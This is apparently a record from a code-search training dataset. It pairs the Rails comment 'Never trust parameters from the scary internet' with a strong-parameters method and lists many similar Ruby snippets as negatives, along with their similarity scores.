_handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def banesco_params params.require(:banesco).permit(:category_id, :category_type, :monto, :balance, :cuenta, :comprobante_type, :n_factura, :description, :razon_social_id, :date_of, :forma_de_pago, :forma_de_pago_nro, :receiver) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def valid_params_request?; end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def filtering_params\n params.permit(:email)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6980957", "0.6783065", "0.6747844", "0.6741468", "0.67356336", "0.6592548", "0.65036845", "0.64978707", "0.64825076", "0.64795035", "0.64560914", "0.64397955", "0.6379666", "0.6376688", "0.6366702", "0.6319728", "0.6300833", "0.6300629", "0.6294277", "0.6293905", "0.6291174", "0.62905735", "0.6283171", "0.6242344", "0.62403613", "0.6218049", "0.62143815", "0.62104696", "0.61949855", "0.6178671", "0.6176147", "0.6173327", "0.6163395", "0.6153005", "0.6151833", "0.6147288", "0.61224324", "0.6118827", "0.61075264", "0.61054534", "0.6092497", "0.6080082", "0.60710967", "0.60627776", "0.60219413", "0.60175914", "0.60153484", "0.60107356", "0.60081726", "0.60081726", "0.60013986", "0.6000165", "0.59978646", "0.59936947", "0.59925723", "0.5992084", "0.59796256", "0.5967569", "0.5960056", "0.59589803", "0.5958441", "0.5958401", "0.5952607", "0.5952406", "0.5944409", "0.59391016", "0.593842", "0.593842", "0.5933845", "0.59312123", "0.5926475", "0.59248453", "0.59179676", "0.59109294", "0.59101623", "0.5908172", "0.59058356", "0.5899052", "0.5897749", "0.5896101", "0.58942914", "0.58939576", "0.5892063", "0.5887407", "0.588292", "0.58797663", "0.587367", "0.58681566", "0.5868038", "0.5866578", "0.58665025", "0.58655846", "0.58640826", "0.5863465", "0.5862226", "0.586065", "0.58581287", "0.5854443", "0.5854172", "0.58507544", "0.5849934" ]
0.0
-1
Instantiates a new securityKubernetesPodEvidence and sets the default values.
def initialize() super @odata_type = "#microsoft.graph.security.kubernetesPodEvidence" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.kubernetesSecretEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.amazonResourceEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.googleCloudResourceEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.azureResourceEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.containerRegistryEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.oauthApplicationEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.processEvidence\"\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.mailClusterEvidence\"\n end", "def initialize(sandbox, pod_targets, pods_project, preserve_pod_file_structure = false)\n @sandbox = sandbox\n @pod_targets = pod_targets\n @pods_project = pods_project\n @preserve_pod_file_structure = preserve_pod_file_structure\n end", "def set_evidence\n @evidence = Evidence.find(params[:id])\n end", "def set_evidence\n @evidence = Evidence.find(params[:id])\n end", "def create_default_collection_event_parameters(rep)\n cep = parent.collection_event_parameters if parent\n user = cep.user if cep\n user ||= scg_collector || rep.user || return\n cep = CaTissue::CollectionEventParameters.new(:specimen => self, :user => user)\n logger.debug { \"Created default #{qp} collection event #{cep.qp}.\" }\n cep\n end", "def initialize(podfile, podfile_dependency_cache = Analyzer::PodfileDependencyCache.from_podfile(podfile))\n @podfile = podfile\n @podfile_dependency_cache = podfile_dependency_cache\n @errors = []\n @warnings = []\n @validated = false\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.fileEvidence\"\n end", "def service_principal_risk_detections=(value)\n @service_principal_risk_detections = value\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.registryKeyEvidence\"\n end", "def initialize(sandbox, pod_targets, aggregate_targets)\n @sandbox = sandbox\n @pod_targets = pod_targets\n @aggregate_targets = aggregate_targets\n end", "def initialize(sandbox, podfile, lockfile = nil)\n @sandbox = sandbox || raise(ArgumentError, 'Missing required argument `sandbox`')\n @podfile = podfile || raise(ArgumentError, 'Missing required argument `podfile`')\n @lockfile = lockfile\n\n @use_default_plugins = true\n @has_dependencies = true\n @pod_installers = []\n end", "def initialize(podversion, update_spec, original_spec)\n\t\t\t\t@podversion = podversion\n\t\t\t\t@update_spec = update_spec\n\t\t\t\t@original_spec = original_spec\n\t\t\tend", "def initialize(label=false, value = false, vid)\n if !label\n @label = self.__id__\n else\n @label = label\n end\n @vid = vid\n @value = value\n @adj_v = Array.new\n @in_edges = Array.new\n @edges = Hash.new\n end", "def initialize(days, events)\n super days\n add_associated_events_to_days(events)\n end", "def initialize\n set_defaults\n end", "def initialize\n set_defaults\n end", "def pod(name, *requirements)\n options = requirements.last\n if options.is_a?(Hash)\n options[:inhibit_warnings] = true unless options.has_key?(:inhibit_warnings)\n else\n requirements.push({inhibit_warnings: true})\n end\n ORIG_POD[name, *requirements]\n end", "def initialize(verbose = true)\n\n @verbose = verbose\n\n @open_ssl_tool_path = \"/usr/bin/openssl\"\n @plistbuddy_tool_path = \"/usr/libexec/PlistBuddy\"\n @evroots_config_path = File.join(CertTools.certificate_dir, \"CertificateTool/BuildOSXRootKeychain/evroot.config\")\n @evroots_config_data = nil\n\n Utilities.check_path(@evroots_config_path, false)\n\n @evroots_kc_name = \"EVRoots.keychain\"\n @evroots_kc_path = File.join(CertTools.build_dir, @evroots_kc_name)\n\n @evroots_plist_name = \"EVRoots.plist\"\n @evroots_plist_path = File.join(CertTools.output_keychain_path, @evroots_plist_name)\n\n end", "def initialize(klass, id, events, version, prohibit_new = true)\n @events = events\n @id = id\n @klass = klass\n @prohibit_new = prohibit_new\n @version = version\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.security.ediscoveryReviewTag\"\n end", "def do_initialize\n begin\n Puppet.initialize_settings\n Puppet[:parser] = 'future' # this is required in order to work with puppet 3.8\n Puppet[:trusted_node_data] = true\n rescue ArgumentError => e\n\n rescue Puppet::DevError => e\n # do nothing otherwise calling init twice raises an error\n end\n end", "def new\n @preptime = Preptime.new()\n end", "def set_coffee_pod\n @coffee_pod = CoffeePod.find(params[:id])\n end", "def add_default_values\n ensure_license\n ensure_publisher\n ensure_resource_type\n end", "def do_initialize\n Puppet.initialize_settings\n Puppet[:parser] = 'future' # this is required in order to work with puppet 3.8\n Puppet[:trusted_node_data] = true\n rescue ArgumentError => e\n rescue Puppet::DevError => e\n # do nothing otherwise calling init twice raises an error\n end", "def pre_run_initialize\n @evaluator = @evaluator_class.new(self) if @evaluator.nil?\n @evolver = @evolver_class.new(self) if @evolver.nil?\n end", "def initialize(options, monitoring, seeds = [])\n @options = options\n @monitoring = monitoring\n @max_election_id = nil\n @max_set_version = nil\n end", "def initialize(opts = {})\n @basic_constraints = R509::Cert::Extensions::BasicConstraints.new(opts[:basic_constraints]) unless opts[:basic_constraints].nil?\n @key_usage = R509::Cert::Extensions::KeyUsage.new(opts[:key_usage]) unless opts[:key_usage].nil?\n @extended_key_usage = R509::Cert::Extensions::ExtendedKeyUsage.new(opts[:extended_key_usage]) unless opts[:extended_key_usage].nil?\n @certificate_policies = R509::Cert::Extensions::CertificatePolicies.new(opts[:certificate_policies]) unless opts[:certificate_policies].nil?\n @inhibit_any_policy = R509::Cert::Extensions::InhibitAnyPolicy.new(opts[:inhibit_any_policy]) unless opts[:inhibit_any_policy].nil?\n @policy_constraints = R509::Cert::Extensions::PolicyConstraints.new(opts[:policy_constraints]) unless opts[:policy_constraints].nil?\n @name_constraints = R509::Cert::Extensions::NameConstraints.new(opts[:name_constraints]) unless opts[:name_constraints].nil?\n @ocsp_no_check = R509::Cert::Extensions::OCSPNoCheck.new(opts[:ocsp_no_check]) unless opts[:ocsp_no_check].nil?\n @authority_info_access = R509::Cert::Extensions::AuthorityInfoAccess.new(opts[:authority_info_access]) unless opts[:authority_info_access].nil?\n @crl_distribution_points = R509::Cert::Extensions::CRLDistributionPoints.new(opts[:crl_distribution_points]) unless opts[:crl_distribution_points].nil?\n @subject_item_policy = validate_subject_item_policy(opts[:subject_item_policy])\n @default_md = validate_md(opts[:default_md] || R509::MessageDigest::DEFAULT_MD)\n @allowed_mds = validate_allowed_mds(opts[:allowed_mds])\n end", "def initialize\n @app_id = \"05a059c9-c309-46af-9b86-b06d42510550\"\n @cert_file = File.join(File.dirname(__FILE__),\"certs/helloWorld.pem\")\n @cert_pass = \"\"\n @shell_url = \"https://account.healthvault-ppe.com\"\n @hv_url = \"https://platform.healthvault-ppe.com/platform/wildcat.ashx\"\n @logger = Logger.new(\"hv.log\")\n end", "def initialize(kernel_type='RBF')\n @training_data_set = Diabetic.pick(538)\n @training = @training_data_set.collect {|d| [d.pregnant,\n d.oral_glucose_tolerance,\n d.blood_pressure,\n d.skin_fold_thickness,\n d.serum_insulin,\n d.body_mass_index,\n d.pedigree_function,\n d.age,\n d.positive]}\n\n\n @problem = Libsvm::Problem.new\n @parameter = Libsvm::SvmParameter.new\n @parameter.kernel_type = \"Libsvm::KernelType::#{kernel_type}\".constantize\n @parameter.cache_size = 100 # in megabytes\n @parameter.eps = 0.001\n @parameter.c = 10\n\n\n @labels = @training.collect {|t| t.pop}\n @examples = @training.map {|ary| Libsvm::Node.features(ary)}\n\n\n @problem.set_examples(@labels, @examples)\n\n @svm = Libsvm::Model.train(@problem, @parameter)\n end", "def initialize null_object_signature=nil\n @null_object_signature = null_object_signature \n end", "def initialize(opts = {})\n validate_basic_constraints opts[:basic_constraints]\n validate_key_usage opts[:key_usage]\n validate_extended_key_usage opts[:extended_key_usage]\n validate_certificate_policies opts[:certificate_policies]\n validate_inhibit_any_policy opts[:inhibit_any_policy]\n validate_policy_constraints opts[:policy_constraints]\n validate_name_constraints opts[:name_constraints]\n @ocsp_no_check = (opts[:ocsp_no_check] == true or opts[:ocsp_no_check] == \"true\")?true:false\n validate_subject_item_policy opts[:subject_item_policy]\n end", "def initialize\n @territory = nil\n @weekend = nil\n @public_holiday_specifications = nil\n @generated_years = Array.new\n @public_holiday_collection = Array.new\n @public_holiday_hash = Hash.new\n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'EC2',\n :default_host => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).host : DEFAULT_HOST,\n :default_port => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).port : DEFAULT_PORT,\n :default_service => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).path : DEFAULT_PATH,\n :default_protocol => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).scheme : DEFAULT_PROTOCOL,\n :default_api_version => @@api },\n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] , \n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def set_security_and_privacy_vulnerability\n @security_and_privacy_vulnerability = SecurityAndPrivacyVulnerability.find(params[:id])\n end", "def instantiate(params)\n instance = Instance.new( *interpolate(params), @parent )\n # instance.apply_resource_type # TODO: do we need apply_security_scheme?\n instance\n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'EC2', \n :default_host => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).host : DEFAULT_HOST, \n :default_port => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).port : DEFAULT_PORT,\n :default_service => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).path : DEFAULT_PATH, \n :default_protocol => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).scheme : DEFAULT_PROTOCOL }, \n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] , \n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def initialize(applicable)\n self.applicable = applicable\n end", "def initialize(params = nil)\n @env = Hash.new\n unless params.nil?\n params.each_pair { |var, typ|\n @env[var] = {type: typ, fixed: true}\n }\n end\n end", "def initialize(controller, env, defaults)\n @controller = controller\n @defaults = defaults\n @env = normalize_keys defaults.merge(env)\n end", "def pod_ip=(value)\n @pod_ip = value\n end", "def initialize()\n @sides = DEFAULTS[:sides]\n @num_dice = DEFAULTS[:num_dice]\n @players = DEFAULTS[:players]\n @speed = DEFAULTS[:speed]\n @target_score = DEFAULTS[:target_score]\n end", "def initialize(paper=:A4, options={})\n \n @options=DEFAULT_OPTIONS.merge(options)\n @paper=paper \n end", "def initialize_default_loan\n if self.category and self.loan_length_seconds.nil? and self.new_record?\n self.loan_length_seconds = self.category.loan_length_seconds\n end\n end", "def set_maker_pod\n @maker_pod = MakerPod.find(params[:id])\n end", "def initialize(user, record)\n raise Pundit::NotAuthorizedError, \"Must be signed in.\" unless user\n @user = user\n @record = record\n end", "def set_default_values\n self.points_log ||= POINTS_LOG\n self.points_log_first_of_day ||= POINTS_LOG_FIRST_OF_DAY\n self.points_peer_assessment ||= POINTS_PEER_ASSESSMENT\n self.points_peer_assessment_first_of_team ||= POINTS_PEER_ASSESSMENT_FIRST_OF_TEAM\n self.points_project_evaluation ||= POINTS_PROJECT_EVALUATION\n self.points_project_evaluation_first_of_team ||= POINTS_PROJECT_EVALUATION_FIRST_OF_TEAM\n self.max_logs_per_day ||= MAX_LOGS_PER_DAY\n self.points_project_evaluation_submitted_first_day ||= POINTS_PROJECT_EVALUATION_SUBMITTED_FIRST_DAY\n self.points_peer_assessment_submitted_first_day ||= POINTS_PEER_ASSESSMENT_SUBMITTED_FIRST_DAY\n self.marking_algorithm_id ||= MARKING_ALGORITHM_ID\n end", "def initialize(yaml_file = nil)\n @yaml_file = yaml_file\n end", "def initialize(version_requirement:)\n self.version_verifier_strategy_factory = ::Kitchen::Terraform::VersionVerifierStrategyFactory.new(\n version_requirement: version_requirement,\n )\n end", "def initialize(specifications = T.unsafe(nil)); end", "def initialize(ecs_client = Aws::ECS::Client.new)\n ## DI for testing purposes\n @ecs = ecs_client\n end", "def initialize(certname, reusable=false, validfor=7200, requester, secret)\n # set up logging\n @log = Logging.logger[self.class]\n @log.debug \"initializing #{self.class.name}\"\n\n @validfor = validfor\n @certname = certname\n @reusable = reusable\n @requester = requester\n @secret = secret\n @uuid = SecureRandom.uuid # UUID is needed to allow token regeneration with the same settings\n @validto = Time.now.to_i + self.validfor\n end", "def initialize\n @paper = Paper::A4\n @left_margin = DEFAULT_LEFT_MARGIN\n @right_margin = DEFAULT_RIGHT_MARGIN\n @top_margin = DEFAULT_TOP_MARGIN\n @bottom_margin = DEFAULT_BOTTOM_MARGIN\n @gutter = nil\n @orientation = PORTRAIT\n end", "def initialize(secret = nil)\n @secret = secret || ENV['VOGOGO_SECRET']\n end", "def set_certificate\n begin\n @certificate = Certificate.where(owner_id: params[:owner_id]).where(id: params[:id]).first!\n rescue ActiveRecord::RecordNotFound\n @certificate = nil\n end\n end", "def initialize(default_settins_path = DEFAULT_SETTINGS_PATH, overriden_settings_path = OVERRIDEN_SETTINGS_PATH, enabled_properties_to_override = [\"debug\", \"show_debug_events\"])\n @enabled_properties = enabled_properties_to_override\n @env_properties = ConfigParser.new()\n files = [default_settins_path]\n files << overriden_settings_path if File.exist? overriden_settings_path\n @file_properties = ConfigParser.new(files)\n # define dynamic properties\n @file_properties.override_value(\"project_dir\", File.expand_path(\".\"))\n end", "def initialize(argv)\n @mypodfile_path = Pathname.pwd + 'Mypodfile'\n super\n end", "def initialize(seed, encoding = :raw)\n seed = Encoder[encoding].decode(seed)\n\n Util.check_length(seed, NaCl::SECRETKEYBYTES, \"seed\")\n\n pk = Util.zeros(NaCl::PUBLICKEYBYTES)\n sk = Util.zeros(NaCl::SECRETKEYBYTES * 2)\n\n NaCl.crypto_sign_seed_keypair(pk, sk, seed) || raise(CryptoError, \"Failed to generate a key pair\")\n\n @seed, @signing_key = seed, sk\n @verify_key = VerifyKey.new(pk)\n end", "def initialize_tracker(params)\n uuid = previous_saml_uuid(params)\n previous = uuid && SAMLRequestTracker.find(uuid)\n type = previous&.payload_attr(:type) || params[:type]\n transaction_id = previous&.payload_attr(:transaction_id) || SecureRandom.uuid\n redirect = previous&.payload_attr(:redirect) || params[:redirect]\n application = previous&.payload_attr(:application) || params[:application]\n post_login = previous&.payload_attr(:post_login) || params[:postLogin]\n\n # if created_at is set to nil (meaning no previous tracker to use), it\n # will be initialized to the current time when it is saved\n SAMLRequestTracker.new(\n payload: { type:,\n transaction_id:,\n redirect:,\n application:,\n post_login: }.compact,\n\n created_at: previous&.created_at\n )\n end", "def initialize(args={})\n set_defaults do\n self.event_id = '020001'\n self.start_reason = 'User Initiated'\n self.terminate_reason = 'User Requested'\n end\n 